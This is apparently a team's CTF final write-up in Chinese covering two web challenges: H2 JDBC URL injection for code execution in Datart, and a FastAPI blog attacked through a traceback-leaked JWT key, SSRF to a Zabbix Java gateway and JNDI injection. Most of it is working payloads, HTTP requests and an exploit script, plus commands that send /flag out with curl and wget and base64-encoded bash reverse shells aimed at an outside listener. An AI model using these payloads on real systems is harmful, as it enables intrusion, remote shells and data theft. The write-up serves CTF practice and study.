强网拟态2025决赛

强网拟态决赛 wp
燃尽了

Ezdatart

https://github.com/running-elephant/datart

http://172.31.18.18:8080/

Version: 1.0.0-rc.3

账号密码(可以注册) admin:123456

CVE 2025 56819

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /api/v1/data-provider/test HTTP/1.1
Host: 172.31.18.18:8080

{
"name": "jdbc-data-provider",
"type": "JDBC",
"properties": {
"dbType": "H2",
"url": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('touch /tmp/test1')\\;",
"user": null,
"password": "",
"driverClass": "org.h2.Driver",
"serverAggregate": false,
"enableSpecialSQL": false,
"enableSyncSchemas": true,
"syncInterval": "60",
"properties": {}
}
}

1
2
{"data":null,"errCode":0,"exception":null,"message":"User is not logged in, please log in first","pageInfo":null,"success":false,"warnings":null}

cookie验失败了

抓到一个验证包的格式是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PUT /api/v1/settings/user/be7329c591cc4376991f509d6936f719 HTTP/1.1
Host: 172.31.18.18:8080
Content-Length: 266

Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInBhc3N3b3JkIjotMTg5NTM5MzgzNiwiZXhwIjoxNzY0MjE0NTE2fQ.OYLsIsk_kJAiMtT1E3Sc1EUtH_UajqPCq83b1ghmnWY
Accept-Language: en-US
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Origin: http://172.31.18.18:8080
Referer: http://172.31.18.18:8080/organizations/fbb657106dd4428b8313132f95c1f975/vizs
Accept-Encoding: gzip, deflate, br

Cookie: AUTHORIZATION_TOKEN=Bearer%20eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInBhc3N3b3JkIjotMTg5NTM5MzgzNiwiZXhwIjoxNzY0MjE0NTE2fQ.OYLsIsk_kJAiMtT1E3Sc1EUtH_UajqPCq83b1ghmnWY
Connection: keep-alive

{"config":null,"createBy":null,"createTime":null,"id":"be7329c591cc4376991f509d6936f719","permission":null,"relId":"fbb657106dd4428b8313132f95c1f975","relType":"LAST_VISITED_ORGANIZATION","updateBy":null,"updateTime":null,"userId":"deadecef257948c19a52fb1b752f72d7"}

现在发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
POST /api/v1/data-provider/test HTTP/1.1
Host: 172.31.18.18:8080
Content-Length: 549
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInBhc3N3b3JkIjotMTg5NTM5MzgzNiwiZXhwIjoxNzY0MjE0NTE2fQ.OYLsIsk_kJAiMtT1E3Sc1EUtH_UajqPCq83b1ghmnWY
Accept-Language: en-US
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Origin: http://172.31.18.18:8080
Referer: http://172.31.18.18:8080/organizations/fbb657106dd4428b8313132f95c1f975/vizs
Accept-Encoding: gzip, deflate, br
Cookie: AUTHORIZATION_TOKEN=Bearer%20eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInBhc3N3b3JkIjotMTg5NTM5MzgzNiwiZXhwIjoxNzY0MjE0NTE2fQ.OYLsIsk_kJAiMtT1E3Sc1EUtH_UajqPCq83b1ghmnWY
Connection: keep-alive

{
"name": "jdbc-data-provider",
"type": "JDBC",
"properties": {
"dbType": "H2",
"url": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('touch /tmp/test1')\\;",
"user": null,
"password": "",
"driverClass": "org.h2.Driver",
"serverAggregate": false,
"enableSpecialSQL": false,
"enableSyncSchemas": true,
"syncInterval": "60",
"properties": {}
}
}

HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInBhc3N3b3JkIjotMTg5NTM5MzgzNiwiZXhwIjoxNzY0MjE0NjEzfQ.tWfQZuXNpV2fmLAVn90AiCLOt1n4FzCrurfN-6TBCOo
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Content-Type: application/json
Content-Length: 104
Date: Thu, 27 Nov 2025 03:06:54 GMT
Keep-Alive: timeout=60
Connection: keep-alive

{"data":true,"errCode":0,"exception":null,"message":null,"pageInfo":null,"success":true,"warnings":null}

有公网vps吗? 它能连公网吗

应该可以 我内网这个还没弹成功 你可以试一下公网的

~这个cookie好像用一次就被刷新了 ex~~

1
2
"org.h2.jdbc.JdbcSQLSyntaxErrorException: Function alias \"EXEC\" already exists; SQL statement:\nCREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd);}'; [90076-200]",

EXEC换个名字 别名应该不影响效果

1
2
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC1 AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC1 ('touch /tmp/test1')\\;

Cannot run program ""nc"": error=2, No such file or directory"; 没nc的

ping是有的 但是ping dnslog失败了 (没成功

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"name": "jdbc-data-provider",
"type": "JDBC",
"properties": {
"dbType": "H2",
"url": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('curl hqkepz.dnslog.cn')\\;",
"user": null,
"password": "",
"driverClass": "org.h2.Driver",
"serverAggregate": false,
"enableSpecialSQL": false,
"enableSyncSchemas": true,
"syncInterval": "60",
"properties": {}
}
}

1
2
3
4
5
6
H2 数据库版本限制 (H2 Version Security)
关键指标: 错误代码结尾的 [90046-200]。这代表服务端的 H2 数据库版本是 2.0.200 或更高。
核心问题: H2 数据库从 2.0 版本 开始,出于安全考虑,进行了重大更新:
禁用了 INIT 执行代码: INIT=... 参数不再允许直接执行任意 SQL 或调用 RUNSCRIPT,除非明确在代码层面启用了相关配置(默认关闭)。
移除了EXEC 别名: 以前常用的利用 CREATE ALIAS EXEC AS ... 来调用 Java 代码的方法在 H2 2.x 中默认被禁止,或者需要更复杂的配置(如 JAVA_METHOD 的限制)。

…现在还不清楚数据库版本

1
2
3
static int URL_FORMAT_ERROR_2
The error with code 90046 is thrown when trying to open a connection to a database using an unsupported URL format.

能执行了但是内网没法弹出来 可以直接写马嘛

卧槽好像有

1
2
3
4
5
┌──(choco㉿choco)-[~/Web/qwnt]
└─$ python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.31.18.18 - - [27/Nov/2025 11:57:01] "GET / HTTP/1.1" 200 -

监听到的1818 🐂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"name": "jdbc-data-provider",
"type": "JDBC",
"properties": {
"dbType": "H2",
"url": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS E12301 AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL E12301 ('curl http://10.222.18.17:8000')\\;",
"user": null,
"password": "",
"driverClass": "org.h2.Driver",
"serverAggregate": false,
"enableSpecialSQL": false,
"enableSyncSchemas": true,
"syncInterval": "60",
"properties": {}
}
}

现在不知道怎么弹shell 对面没nc 用bash什么的也没啥反应 怪哦 直接curl xxx?$(cat /flag)数据试试?

写一下

How

1
2
3
4
5
6
curl -X POST -d @/flag http://10.222.18.17:8000/
172.31.18.18 - - [27/Nov/2025 11:59:56] code 501, message Unsupported method ('POST')
172.31.18.18 - - [27/Nov/2025 11:59:56] "POST / HTTP/1.1" 501 -

curl -G --data-urlencode "flag=$(cat /flag)" http://10.222.18.17:8000/

不能POST好像 wdf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from http.server import HTTPServer, SimpleHTTPRequestHandler
import urllib.parse

class Handler(SimpleHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
print("[+] Received POST data:", post_data)
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')

HTTPServer(('0.0.0.0', 8000), Handler).serve_forever()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"name": "jdbc-data-provider",
"type": "JDBC",
"properties": {
"dbType": "H2",
"url": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS E1211f AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL E1211f ('curl -X POST -d @/flag http://10.222.18.17:8000/')\\;",
"user": null,
"password": "",
"driverClass": "org.h2.Driver",
"serverAggregate": false,
"enableSpecialSQL": false,
"enableSyncSchemas": true,
"syncInterval": "60",
"properties": {}
}
}

flag{Y5rcTS41RLGB7okxefvSZyIDrud5mkiD}

^ ^

curl是对的,经典拿到rce之后弹shell浪费1h

WUWA

python代码而已,审计吧

vpn, 靶机:http://172.31.18.19:8000/

1
2
3
4
5
6
7
---- Scanning URL: http://172.31.18.19:8000/ ----
http://172.31.18.19:8000/admin
http://172.31.18.19:8000/docs
http://172.31.18.19:8000/login
http://172.31.18.19:8000/logout
http://172.31.18.19:8000/static

/docs

看着眼熟 fastapi

最核心的漏洞点在于:异常处理会将 traceback.format_exc() 作为 HTTP 响应直接返回
在 Python 的报错堆栈(Traceback)中,通常会包含触发错误的那一行源代码

如果在服务器实际运行的代码中,硬编码的密钥不是 "default_jwt_key",而是被修改为了其他字符串,那么这个报错堆栈会将真实的密钥直接打印出来

利用报错堆栈泄露源码

我们需要发送一个精心构造的畸形 Token,触发 base64 解码错误,然后抓取返回的 Traceback 信息,从中提取出真实的 Key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
import jwt
import datetime
import re

TARGET_URL = "http://172.31.18.19:8000"

def get_server_key(session):
print("[*] 正在尝试触发 500 错误以泄露源码...")

# 构造畸形 Token:
# 1. 长度必须 > 1024 以进入 else 分支
# 2. 包含 '.' 或非法 Base64 字符以触发 b64decode 异常
# 3. 头部要是 Bearer 以通过中间件处理

padding = "a" * 1200

malformed_token = "Bearer " + "x" * 1024 + "...."

session.cookies.set("access_token", malformed_token)

resp = session.get(f"{TARGET_URL}/admin")
try:
detail = resp.json().get("detail", "")
print("=" * 20 + " REMOTE TRACEBACK " + "=" * 20)
print(detail)
print("=" * 60)
match = re.search(r'key\s*=\s*["\']([^"\']+)["\']\s*if', detail)
found_key = match.group(1)
print(f"\n[!!!] 发现潜在的 SECRET KEY: {found_key}")
return found_key

except Exception as e:
print(f"[-] 解析响应失败: {e}")
print(f"原始响应: {resp.text}")

return None

def exploit(key):
payload = {
"sub": "admin",
"exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=60)
}
token = jwt.encode(payload, key, algorithm="HS256")
if isinstance(token, bytes): token = token.decode('utf-8')
session = requests.Session()
session.cookies.set("access_token", f"Bearer {token}")

resp = session.get(f"{TARGET_URL}/admin")

if __name__ == "__main__":
session = requests.Session()
leaked_key = get_server_key(session)

if leaked_key:
exploit(leaked_key)
else:
pass

好像找到key了? SECRET_KEY: c7c9b4c4-94e9-4cfb-9a4e-3a4eb2f42c38

1
2
3
4
5
6
7
8
Traceback (most recent call last):
File "/opt/blogapp/app/core/security.py", line 28, in verify_token
key = "c7c9b4c4-94e9-4cfb-9a4e-3a4eb2f42c38" if len(token) <= 1024 else base64.b64decode(token[7:])
File "/usr/lib/python3.10/base64.py", line 87, in b64decode
return binascii.a2b_base64(s)
binascii.Error: Invalid base64-encoded string: number of data characters (1017) cannot be 1 more than a multiple of 4
============================================================

令牌:

1
2
3
4
5
6
7
8
9
10
def generate_admin_token():
payload = {"sub": settings.ADMIN_USERNAME}
token = jwt.encode(payload, settings.SECRET_KEY, algorithm=settings.ALGORITHM)
print(f"[+] 生成的令牌: {token}")
return token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q

Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q

令牌你自己生成一下看看 我这卡住了

后面应该是打nettools.py 执行

1
2
3
if tcp_hex:
data_bytes = data.encode('utf-8').decode('unicode_escape').encode('latin1')

1
2
Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q

成功了

有了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /admin HTTP/1.1
Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q

HTTP/1.1 200 OK
date: Fri, 28 Nov 2025 03:23:06 GMT
server: uvicorn
content-length: 4312
content-type: text/html; charset=utf-8
Connection: close

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>Blog Admin

好像没找到有其它服务?

我感觉是打nettools 这个TCP

if tcp_hex:

data_bytes = data.encode(‘utf-8’).decode(‘unicode_escape’).encode(‘latin1’)

写的太怪了 十分甚至九分不对劲 没救了题目根本搜不到别的东西()

看看 /blogs/new 能不能ssti注入进去

好像没用 伪协议也不让用

URL-Slug 过滤逻辑

  • 模板注入存在(引擎会解析 {{}}
  • 但保存接口把非法字符全替换成连字符 → 导致语法报废,无法 RCE
1
2
{%set c=(dict(a=1)|attr(request.args.x1)|attr(request.args.x2))(request.args.x3)()%}{%set o=c(request.args.x4)|attr(request.args.x5)()|attr(request.args.x6)(397)|attr(request.args.x7)|attr(request.args.x8)|attr(request.args.x9)(request.args.xa)|attr(request.args.xb)(request.args.xc)|attr(request.args.xd)()%}

不行 只有标题会渲染但是不能有空格 ee

http://172.31.18.19:8000/post/hack

这里可以通过

修改传入文章的内容

1
2
3
4
5
6
POST /admin/blogs/hack/save HTTP/1.1
Host: 172.31.18.19:8000
Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q

title= &tags= &body=

修改可以改标题 标准SSTI 但是又不渲染了 无敌了 为什么我的标题一直渲染不了()

我也是

这地方还是创建时的名 这是那个slug的名,改不了的好像 是的 这里会渲染吗

1-9999端口都是 connection refuse 只有8000

10052有服务

呃其实就这一句话其它就是页面渲染了

请求action=send&mode=tcp&tcp_host=127.0.0.1&tcp_port=54122&tcp_hex=true&tcp_payload=PING

1
2
3
4
5
6
//54122、53932、37836端口 这三回显一样

Raw bytes: b&#39;PING&#39;

Hex: 50494e47

1
2
3
4
5
6
7
8
9
10
11
12
13

action=send&mode=tcp&tcp_host=127.0.0.1&tcp_port=10052&tcp_hex=true&tcp_payload=PING\r\n
//10052回显
Raw bytes: b'ZBXD\x01C\x00\x00\x00\x00\x00\x00\x00{"response":"failed","error":"bad protocol header: 35 30 34 39 34"}'
Hex: 5a4258440143000000000000007b22726573706f6e7365223a226661696c6564222c226572726f72223a226261642070726f746f636f6c206865616465723a203335203330203334203339203334227d
解码后ZBXDC{"response":"failed","error":"bad protocol header: 50 49 4E 47 0D"}

action=send&mode=tcp&tcp_host=127.0.0.1&tcp_port=10052&tcp_hex=true&tcp_payload=\x5a\x42\x58\x44\x01\x15\x00\x00\x00\x00\x00\x00\x00system.run[cat /flag]
Raw bytes: b'ZBXD\x01k\x00\x00\x00\x00\x00\x00\x00{"response":"failed","error":"Value system.run of type java.lang.String cannot be converted to JSONObject"}'
Hex: 5a425844016b000000000000007b22726573706f6e7365223a226661696c6564222c226572726f72223a2256616c75652073797374656d2e72756e206f662074797065206a6176612e6c616e672e537472696e672063616e6e6f7420626520636f6e76657274656420746f204a534f4e4f626a656374227d

Zabbix 服务 cve能打吗

这条路感觉没戏( 其它三个端口好像就没什么东西了

应该还是打8000端口

JNDI

1
2
3
4
5
6
7
8
9
10
11
echo -n 'bash -i >& /dev/tcp/10.222.18.17/8000 0>&1' | base64 -w0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMjIuMTguMTcvODAwMCAwPiYx

c2ggLWkgPiYgL2Rldi90Y3AvMTAuMjIyLjE4LjE3LzgwMDAgMD4mMQ==

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMjIuMTguMTcvODAwMCAwPiYx}|{base64,-d}|{bash,-i}

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMjIuMTgvODAwMCAwPiYx}|{base64,-d}|{bash,-i}" \
-A 10.222.18.17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/nettools HTTP/1.1
Host: 172.31.18.19:8000
Cache-Control: max-age=0
Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 648

action=send&mode=tcp&tcp_host=127.0.0.1&tcp_port=10052&tcp_hex=true&tcp_payload=\x5a\x42\x58\x44\x01\x81\x00\x00\x00\x00\x00\x00\x00\x7b\x22\x72\x65\x71\x75\x65\x73\x74\x22\x3a\x22\x6a\x61\x76\x61\x20\x67\x61\x74\x65\x77\x61\x79\x20\x6a\x6d\x78\x22\x2c\x22\x6a\x6d\x78\x5f\x65\x6e\x64\x70\x6f\x69\x6e\x74\x22\x3a\x22\x73\x65\x72\x76\x69\x63\x65\x3a\x6a\x6d\x78\x3a\x72\x6d\x69\x3a\x2f\x2f\x2f\x6a\x6e\x64\x69\x2f\x72\x6d\x69\x3a\x2f\x2f\x31\x30\x2e\x32\x32\x32\x2e\x31\x38\x2e\x31\x37\x3a\x31\x30\x39\x39\x2f\x79\x67\x67\x35\x62\x33\x22\x2c\x22\x6b\x65\x79\x73\x22\x3a\x5b\x22\x73\x79\x73\x74\x65\x6d\x2e\x63\x70\x75\x2e\x6c\x6f\x61\x64\x22\x5d\x7d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \                                                                                               -C 'sh -c "exec 5<>/dev/tcp/10.222.18.17/8000; cat <&5 >&5 2>&5"' \
-A 10.222.18.17
[ADDRESS] >> 10.222.18.17
[COMMAND] >> sh -c "exec 5<>/dev/tcp/10.222.18.17/8000; cat <&5 >&5 2>&5"
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://10.222.18.17:1099/cbjiaa
ldap://10.222.18.17:1389/cbjiaa
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://10.222.18.17:1099/fn8nbp
ldap://10.222.18.17:1389/fn8nbp
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://10.222.18.17:1099/xp7uh6

----------------------------Server Log----------------------------
2025-11-28 15:41:51 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2025-11-28 15:41:51 [RMISERVER] >> Listening on 0.0.0.0:1099
2025-11-28 15:41:51 [LDAPSERVER] >> Listening on 0.0.0.0:1389
2025-11-28 15:42:09 [LDAPSERVER] >> Send LDAP reference result for cbjiaa redirecting to http://10.222.18.17:8180/ExecTemplateJDK7.class
2025-11-28 15:42:10 [JETTYSERVER]>> Log a request to http://10.222.18.17:8180/ExecTemplateJDK7.class
2025-11-28 15:42:10 [LDAPSERVER] >> Send LDAP reference result for cbjiaa redirecting to http://10.222.18.17:8180/ExecTemplateJDK7.class
2025-11-28 15:42:10 [JETTYSERVER]>> Log a request to http://10.222.18.17:8180/ExecTemplateJDK7.class
2025-11-28 15:42:40 [RMISERVER] >> Have connection from /172.31.18.19:40906
2025-11-28 15:42:50 [RMISERVER] >> Reading message...
2025-11-28 15:42:50 [RMISERVER] >> Is RMI.lookup call for fn8nbp 2
2025-11-28 15:42:50 [RMISERVER] >> Sending remote classloading stub targeting http://10.222.18.17:8180/ExecTemplateJDK8.class
2025-11-28 15:42:50 [RMISERVER] >> Closing connection
2025-11-28 15:42:50 [RMISERVER] >> Have connection from /172.31.18.19:40908
2025-11-28 15:42:50 [RMISERVER] >> Closing connection

又是弹不出 能rce了? 有静态目录可以写 , /opt/blogapp应该是web目录肯定可以写 但是我不知道能不能读取写入的文件..

看报错应该是执行了, 我发个ping出来试一下 ..怎么我一直timeout连jndi

  1. 目标 JDK ≥ 8u191 / 11+(trustURLCodebase=false
  2. 它确实下载了 ExecTemplateJDK7.class(8180 日志出现多次)
  3. 但 JVM 不允许把任意陌生类当成 ObjectFactory 去实例化 —— 直接抛 ClassCastException

gg 高版本rmi我好像见过,我找找 https://gsbp0.github.io/post/2025n1ctf-wp-for-n1cateezzjs/#n1cat 这个就是直接打rmi

请求能发出去吗 我这一直timeout +1 Have connection from /172.31.18.19:40906这个当时是怎么收到的

高版本rmi靶机下不到那个class(/ExecTemplateJDK7/8.class)

暂时无法在飞书文档外展示此内容

就是打rmi的请求会收到这个 。。我现在连请求也收不到

为什么

卧槽不对啊 2025-11-28 15:42:50 [RMISERVER] >> Is RMI.lookup call for fn8nbp 2 2025-11-28 15:42:50 [RMISERVER] >> Sending remote classloading stub targeting http://10.222.18.17:8180/ExecTemplateJDK8.class这怎么还不如当时的效果呢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
----------------------------Server Log----------------------------
2025-11-28 16:23:35 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2025-11-28 16:23:36 [RMISERVER] >> Listening on 0.0.0.0:1099
2025-11-28 16:23:36 [LDAPSERVER] >> Listening on 0.0.0.0:1389
2025-11-28 16:23:57 [RMISERVER] >> Have connection from /172.31.18.19:41254
2025-11-28 16:24:07 [RMISERVER] >> Reading message...
2025-11-28 16:24:07 [RMISERVER] >> Is RMI.lookup call for 67qqrt 2
2025-11-28 16:24:07 [RMISERVER] >> Sending local classloading reference.
2025-11-28 16:24:07 [RMISERVER] >> Closing connection
2025-11-28 16:24:07 [RMISERVER] >> Have connection from /172.31.18.19:41256
2025-11-28 16:24:07 [RMISERVER] >> Closing connection
2025-11-28 16:24:54 [RMISERVER] >> Have connection from /172.31.18.19:41266
2025-11-28 16:25:04 [RMISERVER] >> Reading message...
2025-11-28 16:25:04 [RMISERVER] >> Is RMI.lookup call for x2euar 2
2025-11-28 16:25:04 [RMISERVER] >> Sending remote classloading stub targeting http://10.222.18.17:8180/ExecTemplateJDK8.class
2025-11-28 16:25:04 [RMISERVER] >> Closing connection
2025-11-28 16:25:04 [RMISERVER] >> Have connection from /172.31.18.19:41268
2025-11-28 16:25:04 [RMISERVER] >> Closing connection

我怎么感觉是被打断了Sending remote classloading stub targeting http://10.222.18.17:8180/ExecTemplateJDK8.class

是不是跑偏了, 这题应该还是打python相关的? )

看看能不能cat /flag > blog/flag.txt

这个博客系统就是把文章记作txt的

还是不行

1
2
3
为何我直接报了这个错,连不出来
{&#34;response&#34;:&#34;failed&#34;,&#34;error&#34;:&#34;com.sun.jndi.rmi.registry.RegistryContext cannot be cast to javax.management.remote.rmi.RMIServer: service:jmx:rmi:\\/\\/\\/jndi\\/rmi:\\/\\/10.222.18.29:8899&#34;}&#39;

奥连出来了

我草?

还有这种报错的

1
2
3
4
Raw bytes: b&#39;&#39;

Hex:

看笑了

实在不行就套娃吧 让恶意类读取flag然后自动发api请求把flag写入文章..好扯

连上了? 呃我也不确定服务器读没读,得试试

试试 curl没反应,不确定了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cmd='curl -X POST http://127.0.0.1:8000/admin/blogs/testssrf/save -H "Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q" -d "title=FlagIsHere&tags=pwn&body=$(cat /flag & env)"'

echo -n $cmd | base64 | tr -d "\n"

Y3VybCAtWCBQT1NUIGh0dHA6Ly8xMjcuMC4wLjE6ODAwMC9hZG1pbi9ibG9ncy90ZXN0c3NyZi9zYXZlIC1IICJBdXRob3JpemF0aW9uOkJlYXJlciBleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpoWkcxcGJpSjkuU25SWWFHVlJGZ2huc2RnSWwweGZjQWRIbDJqTFdwaTJ4RVNVdG02alAzUSIgLWQgInRpdGxlPUZsYWdJc0hlcmUmdGFncz1wd24mYm9keT0kKGNhdCAvZmxhZyB8fCBjYXQgL3Jvb3QvZmxhZyB8fCBlbnYpIg==

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c "echo Y3VybCAtWCBQT1NUIGh0dHA6Ly8xMjcuMC4wLjE6ODAwMC9hZG1pbi9ibG9ncy90ZXN0c3NyZi9zYXZlIC1IICJBdXRob3JpemF0aW9uOkJlYXJlciBleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpoWkcxcGJpSjkuU25SWWFHVlJGZ2huc2RnSWwweGZjQWRIbDJqTFdwaTJ4RVNVdG02alAzUSIgLWQgInRpdGxlPUZsYWdJc0hlcmUmdGFncz1wd24mYm9keT0kKGNhdCAvZmxhZyB8fCBjYXQgL3Jvb3QvZmxhZyB8fCBlbnYpIg== | base64 -d | bash"' -A 10.222.18.17

wget -qO- --header="Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q" --post-data="title=SUCCESS_WGET&body=$(cat /flag)" http://127.0.0.1:8000/admin/blogs/testssrf/save

cmd='wget -qO- --header="Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q" --post-data="title=SUCCESS_WGET&body=$(cat /flag)" http://127.0.0.1:8000/admin/blogs/testssrf/save'

echo -n $cmd | base64 | tr -d "\n"
d2dldCAtcU8tIC0taGVhZGVyPSJBdXRob3JpemF0aW9uOkJlYXJlciBleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpoWkcxcGJpSjkuU25SWWFHVlJGZ2huc2RnSWwweGZjQWRIbDJqTFdwaTJ4RVNVdG02alAzUSIgLS1wb3N0LWRhdGE9InRpdGxlPVNVQ0NFU1NfV0dFVCZib2R5PSQoY2F0IC9mbGFnKSIgaHR0cDovLzEyNy4wLjAuMTo4MDAwL2FkbWluL2Jsb2dzL3Rlc3Rzc3JmL3NhdmU=

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c "echo d2dldCAtcU8tIC0taGVhZGVyPSJBdXRob3JpemF0aW9uOkJlYXJlciBleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpoWkcxcGJpSjkuU25SWWFHVlJGZ2huc2RnSWwweGZjQWRIbDJqTFdwaTJ4RVNVdG02alAzUSIgLS1wb3N0LWRhdGE9InRpdGxlPVNVQ0NFU1NfV0dFVCZib2R5PSQoY2F0IC9mbGFnKSIgaHR0cDovLzEyNy4wLjAuMTo4MDAwL2FkbWluL2Jsb2dzL3Rlc3Rzc3JmL3NhdmU= | base64 -d | bash"' -A 10.222.18.17

有没有可能它能发出来rmi发不回去,毕竟内网服务

